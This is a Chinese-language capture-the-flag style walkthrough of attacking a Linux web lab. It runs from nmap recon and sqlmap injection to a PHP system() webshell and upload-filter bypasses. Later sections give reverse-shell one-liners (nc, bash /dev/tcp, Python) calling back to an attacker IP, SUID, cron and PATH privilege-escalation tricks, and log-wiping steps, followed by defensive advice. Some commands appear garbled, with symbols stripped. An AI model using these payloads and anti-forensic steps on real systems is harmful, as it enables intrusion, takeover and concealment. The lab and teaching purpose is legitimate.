从SQL注入到Webshell:Linux靶场实战攻防全流程解析

📅 2026/7/28 5:32:55
从SQL注入到Webshell:Linux靶场实战攻防全流程解析
1. 项目概述为什么我们需要一个“攻击者视角”的靶场最近几年安全圈里有个词儿特别火叫“攻防实战化”。无论是企业做红蓝对抗还是安全工程师自我提升光看理论、背概念已经远远不够了。你得真刀真枪地动手在尽可能真实的环境里把攻击链走一遍把防御点踩一遍才能真正理解攻击者的思路和防御的薄弱环节。这就像学游泳看再多教程不下水扑腾几下永远学不会。“Linux-web-2靶场”就是这样一个为实战而生的环境。它模拟了一个典型的、存在多处安全缺陷的Linux Web服务器。我们的目标不是搞破坏而是扮演一次“攻击者”从外部探测开始一步步渗透进去最终获取一个名为“Webshell”的后门权限并理解整个攻击流程的每一个环节。Webshell简单说就是攻击者上传到服务器上的一个脚本文件比如一个PHP或JSP文件通过Web方式访问这个文件就能在服务器上执行命令相当于拿到了服务器的一个远程控制台危害极大。通过这个靶场我们能学到什么首先你会对一次完整的Web攻击生命周期有直观感受信息收集、漏洞探测、漏洞利用、权限提升、内网渗透本靶场侧重前中期。其次你会深刻理解那些教科书上的漏洞比如SQL注入、文件上传、命令执行在实际中是如何被串联利用的。最后也是最重要的你会以攻击者的视角重新审视自己维护的系统思考“如果我是黑客我会怎么打进来”从而建立起更有效的防御意识。这篇文章我就带你手把手走一遍这个流程分享其中每一个关键步骤的原理、操作和那些容易踩的坑。2. 靶场环境搭建与初步信息收集2.1 靶场部署与网络配置“Linux-web-2”靶场通常以虚拟机镜像如OVA格式或Docker容器的形式提供。我强烈推荐使用虚拟机方案因为它更贴近真实服务器环境避免了Docker容器网络隔离可能带来的一些理解偏差。你可以使用VirtualBox或VMware来导入这个虚拟机。导入后第一件事是配置网络。为了让你的攻击机通常是Kali Linux能和靶机通信你需要将靶机的网络适配器设置为“桥接模式”或“NAT模式”。桥接模式会让靶机获得和你物理机同网段的IP像一台真实设备一样存在于你的局域网中这样最方便。NAT模式则是通过你的物理机做地址转换需要你在物理机上做端口转发。这里我建议新手用桥接操作简单不易出错。启动靶机后你需要找到它的IP地址。靶场系统通常是Linux启动后会在登录界面显示IP或者你可以进入系统后使用ifconfig或ip addr show命令查看。记下这个IP假设是192.168.1.100。你的攻击机Kali Linux的IP可能是192.168.1.101。确保两者能互相ping通这是所有后续操作的基础。注意有些靶场镜像默认不开启SSH或Web服务可能需要你登录进去手动启动。通常靶场说明里会有初始账号密码比如 root/toor。登录后检查Apache/Nginx (systemctl status apache2)、MySQL (systemctl status mysql)等服务是否运行。如果没有使用systemctl start [服务名]启动它们。2.2 外围信息收集端口与服务探测在发动任何具体攻击之前一个好的攻击者会先进行“踩点”。我们的第一项工作就是搞清楚靶机上到底开放了哪些门端口门后是什么服务服务类型和版本。这里我们使用Nmap这个“瑞士军刀”。在Kali Linux终端中执行一个全面的扫描nmap -sV -sC -O -p- 192.168.1.100让我解释一下这些参数-sV: 版本探测。不仅告诉你端口开放还尽力识别运行的服务及其具体版本号。版本信息对于寻找对应的漏洞至关重要。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行更深入的探测比如检查HTTP服务的标题、robots.txt文件或者尝试识别一些简单的漏洞。-O: 操作系统探测。尝试识别靶机的操作系统类型和内核版本。-p-: 扫描所有65535个端口。默认Nmap只扫描最常见的1000个端口加上这个参数确保没有遗漏任何隐蔽的服务。扫描结果可能会显示如下关键信息PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.60从这个结果我们获得了战略蓝图80端口HTTP服务这是我们的主攻方向。一个Apache 2.4.38服务器运行着一个Web应用。22端口SSH服务OpenSSH 7.9p1。如果后续能获取到系统账号密码这就是一个绝佳的持久化通道。3306端口MySQL数据库版本5.5.60。这提示我们Web应用很可能使用数据库存在SQL注入的可能。接下来针对最重要的80端口我们使用浏览器直接访问http://192.168.1.100。看看网站长什么样有哪些功能点登录、注册、搜索、文件上传等。同时使用工具如gobuster或dirb进行目录爆破寻找隐藏的路径或文件gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt这个步骤可能会发现像/admin、/backup、/upload、/phpinfo.php这样的敏感目录或文件为我们后续的漏洞利用提供入口。3. 漏洞挖掘与利用寻找突破口信息收集完毕后我们就要开始寻找脆弱点了。一个典型的Web漏洞利用链往往始于一个看似微小的入口。3.1 SQL注入漏洞的发现与利用假设我们在扫描或测试时发现了一个带有参数查询的页面比如http://192.168.1.100/news.php?id1。这看起来像是一个根据ID显示新闻详情的页面。id参数很可能直接拼接到了数据库查询语句中这就是SQL注入的温床。我们进行手动测试。首先尝试添加一个单引号news.php?id1。如果页面返回了数据库错误如“You have an error in your SQL syntax”或者页面显示异常空白、与id1时不同那么注入点很可能存在。为了自动化、更深入地利用我们使用sqlmap工具。这是一个功能极其强大的SQL注入检测和利用工具。sqlmap -u http://192.168.1.100/news.php?id1 --batch --dbs-u: 指定目标URL。--batch: 以非交互模式运行所有选择都采用默认选项适合自动化。--dbs: 枚举数据库管理系统中的所有数据库。如果存在漏洞sqlmap会先进行一系列测试确认注入类型布尔盲注、时间盲注、联合查询等然后成功列出数据库。输出可能包含information_schema、mysql和一个业务数据库比如webapp_db。接下来我们指定数据库枚举其中的表sqlmap -u http://192.168.1.100/news.php?id1 -D webapp_db --tables --batch假设我们发现了users表。然后dump这个表的数据sqlmap -u http://192.168.1.100/news.php?id1 -D webapp_db -T users --dump --batch这一步至关重要。users表里很可能存放着网站管理员的用户名和密码通常是MD5哈希。我们得到了类似admin:5f4dcc3b5aa765d61d8327deb882cf99密码“password”的MD5这样的数据。实操心得sqlmap功能虽强但动静也大容易被WAFWeb应用防火墙拦截。在实际渗透测试授权范围内可以尝试使用--tamper参数调用脚本对payload进行混淆如space2comment或者降低请求频率--delay 1。在靶场中我们可以放心使用。3.2 利用泄露凭证突破后台拿到管理员哈希后我们首先尝试破解。如果密码简单可以通过在线MD5解密网站或本地用hashcat工具破解。假设我们成功破解出密码是admin123。现在我们寻找网站的后台登录入口。之前目录爆破可能已经发现了/admin或/login.php。访问后台登录页尝试使用admin / admin123进行登录。如果成功我们就进入了网站的管理后台。后台通常拥有更高的权限可能包含文件上传、系统设置、用户管理等功能。这里是我们获取Webshell的关键跳板。3.3 文件上传漏洞与Webshell部署进入后台后我们寻找文件上传功能比如“更换头像”、“上传文档”、“插件安装”等。这是获取Webshell最直接的途径之一。我们准备一个简单的PHP Webshell文件比如命名为shell.php内容如下?php if(isset($_GET[cmd])) { system($_GET[cmd]); } ?这个脚本非常简单它通过URL参数cmd接收系统命令并通过system()函数执行。例如访问http://192.168.1.100/uploads/shell.php?cmdwhoami就会在页面上返回执行whoami命令的结果。在后台的上传点我们选择这个shell.php文件进行上传。然而事情很少会一帆风顺。常见的防御措施包括前端校验通过JavaScript检查文件扩展名。绕过方法直接禁用浏览器JS或使用Burp Suite拦截修改请求。后端白名单校验只允许.jpg,.png,.gif等扩展名。绕过方法双写扩展名shell.php.jpg如果后端校验逻辑不严谨。大小写绕过shell.Php或shell.PHP。00截断在特定旧版本PHP中shell.php%00.jpg需在Burp中修改十六进制。修改Content-Type在Burp中将上传请求包中的Content-Type: application/php改为Content-Type: image/jpeg。文件内容校验检查文件头魔数Magic Bytes。绕过方法在PHP代码前添加图片的文件头例如GIF89a?php...。这样文件既是合法的GIF又能被PHP解析器执行需要服务器配置不当如未验证后缀名与内容的一致性。重命名服务器会为上传的文件生成一个随机文件名。这时我们需要结合其他漏洞比如文件包含漏洞去包含这个被重命名的文件。在“Linux-web-2”靶场中我们可能会遇到上述一种或多种情况。通过Burp Suite拦截上传请求反复修改文件名、Content-Type等参数进行测试最终成功上传我们的Webshell文件。上传成功后记下文件的访问路径例如http://192.168.1.100/uploads/shell.php。4. Webshell的利用与权限提升4.1 建立交互式Shell与信息收集访问我们的Webshell通过cmd参数执行命令例如http://192.168.1.100/uploads/shell.php?cmdid。页面返回uid33(www-data) gid33(www-data) groups33(www-data)。这表明我们当前的权限是www-data这是Web服务器如Apache的运行用户权限较低。这个基础的Webshell功能有限输出也不友好。我们需要建立一个更稳定、功能更全的交互式Shell。最常用的方法是使用netcatnc反弹Shell。首先在攻击机Kali上监听一个端口nc -lvnp 4444-l: 监听模式。-v: 显示详细信息。-n: 直接使用IP地址不进行DNS解析。-p 4444: 指定监听端口。然后在Webshell中执行反弹Shell的命令。由于靶机环境可能没有nc或者nc版本不支持-e参数我们需要使用多种备选方案。通过Webshell执行# 方法1如果靶机nc支持-e rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.1.101 4444 /tmp/f # 方法2使用bash bash -c bash -i /dev/tcp/192.168.1.101/4444 01 # 方法3使用Python如果靶机安装了Python python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.101,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);成功的话你会在Kali的nc监听窗口看到一个反向的Shell连接提示符可能变成了www-datatarget:/var/www/html$。现在我们有了一个可以交互的命令行环境。立即进行初步信息收集whoami # 当前用户 id # 用户和组信息 pwd # 当前目录 uname -a # 系统内核信息 cat /etc/issue # 系统发行版信息 df -h # 磁盘空间 ifconfig 或 ip a # 网络信息 ps aux # 查看所有进程 netstat -tulnp 或 ss -tulnp # 查看网络连接和监听端口 cat /etc/passwd # 查看系统用户这些信息对于后续的权限提升和横向移动至关重要。4.2 权限提升从www-data到root拿到www-data权限只是第一步我们的目标是root。提权Privilege Escalation是一个系统性的排查过程。我通常按照以下思路进行1. 内核漏洞提权检查系统内核版本uname -a。然后使用searchsploit在本地搜索该版本是否存在公开的提权漏洞。searchsploit linux kernel 3.10如果找到下载对应的exp代码上传到靶机可以用Python的HTTP服务器python3 -m http.server在Kali上搭建临时下载编译并执行。但内核提权风险较高可能造成系统崩溃在靶场中可以尝试在生产环境中需极度谨慎。2. 利用SUID/GUID错误配置SUIDSet User ID位是一种特殊的文件权限它允许用户以文件所有者的权限来执行文件。例如/bin/passwd的SUID位为root所以普通用户执行它时可以修改自己的密码。 查找具有SUID位且所有者是root的可执行文件find / -perm -us -type f 2/dev/null查看结果中是否有不常见的、或者已知可用于提权的命令如findfind . -exec /bin/sh \; -quitvim/vi:!bashbashbash -p如果bash本身有SUID位cp/mv可以覆盖敏感文件如/etc/passwd、crontab文件nmap旧版本交互模式nmap --interactive然后!sh3. 利用Capabilities能力Linux Capabilities将root特权细分可以赋予给普通进程。查找被赋予了危险Capabilities的程序getcap -r / 2/dev/null例如如果python被赋予了cap_setuidep能力那么可以通过Python脚本来直接提权。4. 利用Cron计划任务查看系统计划任务寻找那些以root权限运行、且我们有权修改其脚本或目录的任务。cat /etc/crontab ls -la /etc/cron.*/如果我们发现一个root每隔一分钟执行的脚本并且这个脚本所在的目录我们有写权限我们就可以替换这个脚本为我们的恶意代码等待root执行。5. 利用PATH环境变量劫持如果有一个SUID程序内部调用了系统命令如system(“ps”)但没有使用绝对路径我们就可以通过控制PATH环境变量让它执行我们自定义的恶意ps程序。# 在可写目录如/tmp创建一个名为ps的恶意脚本 echo /bin/bash -p /tmp/ps chmod 777 /tmp/ps # 修改当前环境的PATH让/tmp优先被搜索 export PATH/tmp:$PATH # 然后运行那个SUID程序6. 检查敏感文件与密码# 查找包含密码的配置文件 find / -name “*.php” -o -name “*.conf” -o -name “*.config” -o -name “*.txt” 2/dev/null | xargs grep -l -i “password” # 查看历史命令可能包含密码 cat ~/.bash_history # 查看数据库配置文件可能包含数据库root密码 find /var/www -name “*.php” | xargs grep -i “mysql_connect”在“Linux-web-2”靶场中经过系统性的排查我们可能会发现一个配置不当的SUID程序或者一个以root身份运行的、我们可写的Cron任务。利用这些漏洞我们最终执行了提权操作成功将权限从www-data提升到了root。执行whoami返回root标志着我们完全控制了这台服务器。5. 攻击痕迹清理与防御思考5.1 攻击后的清理工作仅限靶场学习在真实的渗透测试中获得授权后清理痕迹是必要的一环以模拟高级攻击者APT的行为。在靶场中练习这些操作是为了理解防御方应该如何检测。常见的清理操作包括清除命令历史history -c清除当前会话历史还需要清空~/.bash_history文件。删除上传的Webshell文件rm /var/www/html/uploads/shell.php删除临时工具和日志删除上传的exp、扫描工具等。清理系统日志中与攻击IP相关的记录如/var/log/auth.log,/var/log/apache2/access.log但这需要root权限且操作复杂容易留下更多痕迹。清除数据库日志如果接触到了数据库。重要提示在非授权环境中任何攻击和痕迹清理都是非法的。靶场是唯一合法且安全的学习场所。5.2 从防御者视角复盘如何防范此类攻击走完整个攻击流程我们再切换回防御者视角思考如何构建防线最小化攻击面关闭不必要的端口和服务如非必要关闭SSH的远程root登录或改为密钥认证。MySQL不应监听在0.0.0.0。保持系统和软件更新及时修补Apache、PHP、MySQL、Linux内核的已知漏洞。使用Web应用防火墙WAF可以有效拦截SQL注入、文件上传等常见Web攻击。安全开发与配置SQL注入所有数据库查询必须使用参数化查询Prepared Statements或ORM框架绝对避免字符串拼接。文件上传使用白名单严格校验文件扩展名和MIME类型。将上传目录设置为不可执行通过配置Apache/Nginx禁止在该目录解析PHP等脚本。对上传文件进行重命名如使用随机哈希值并避免直接暴露文件路径。对图片文件进行二次渲染破坏可能嵌入的恶意代码。权限控制Web应用运行用户如www-data权限应尽可能低遵循最小权限原则。数据库用户也应使用仅具备必要权限的账户。系统加固定期进行权限审计使用如LinPEAS、Linuxprivchecker等脚本定期检查系统的SUID文件、Cron任务、Capabilities等及时发现不当配置。配置严格的防火墙如iptables, ufw只开放必要的端口。部署入侵检测系统IDS/IPS如OSSEC监控文件完整性、异常登录和可疑命令。监控与响应集中化日志管理收集并分析系统日志、Web访问日志、数据库日志。**部署端点检测与响应EDR**工具。制定安全事件应急响应预案定期演练。通过这次从攻击者视角的“实战演练”我们亲身体验了一条完整的攻击链是如何串联起来的。一个微小的SQL注入点可能成为获取后台凭证的钥匙一个不严谨的文件上传功能可能成为植入Webshell的通道一个配置不当的系统权限可能让攻击者直通root。防御从来不是单一维度的它需要贯穿于开发、部署、运维的整个生命周期。希望这篇详细的复盘不仅能让你掌握攻击的技术细节更能深刻理解“未知攻焉知防”的道理从而在未来的工作中构建起更立体、更有效的安全防线。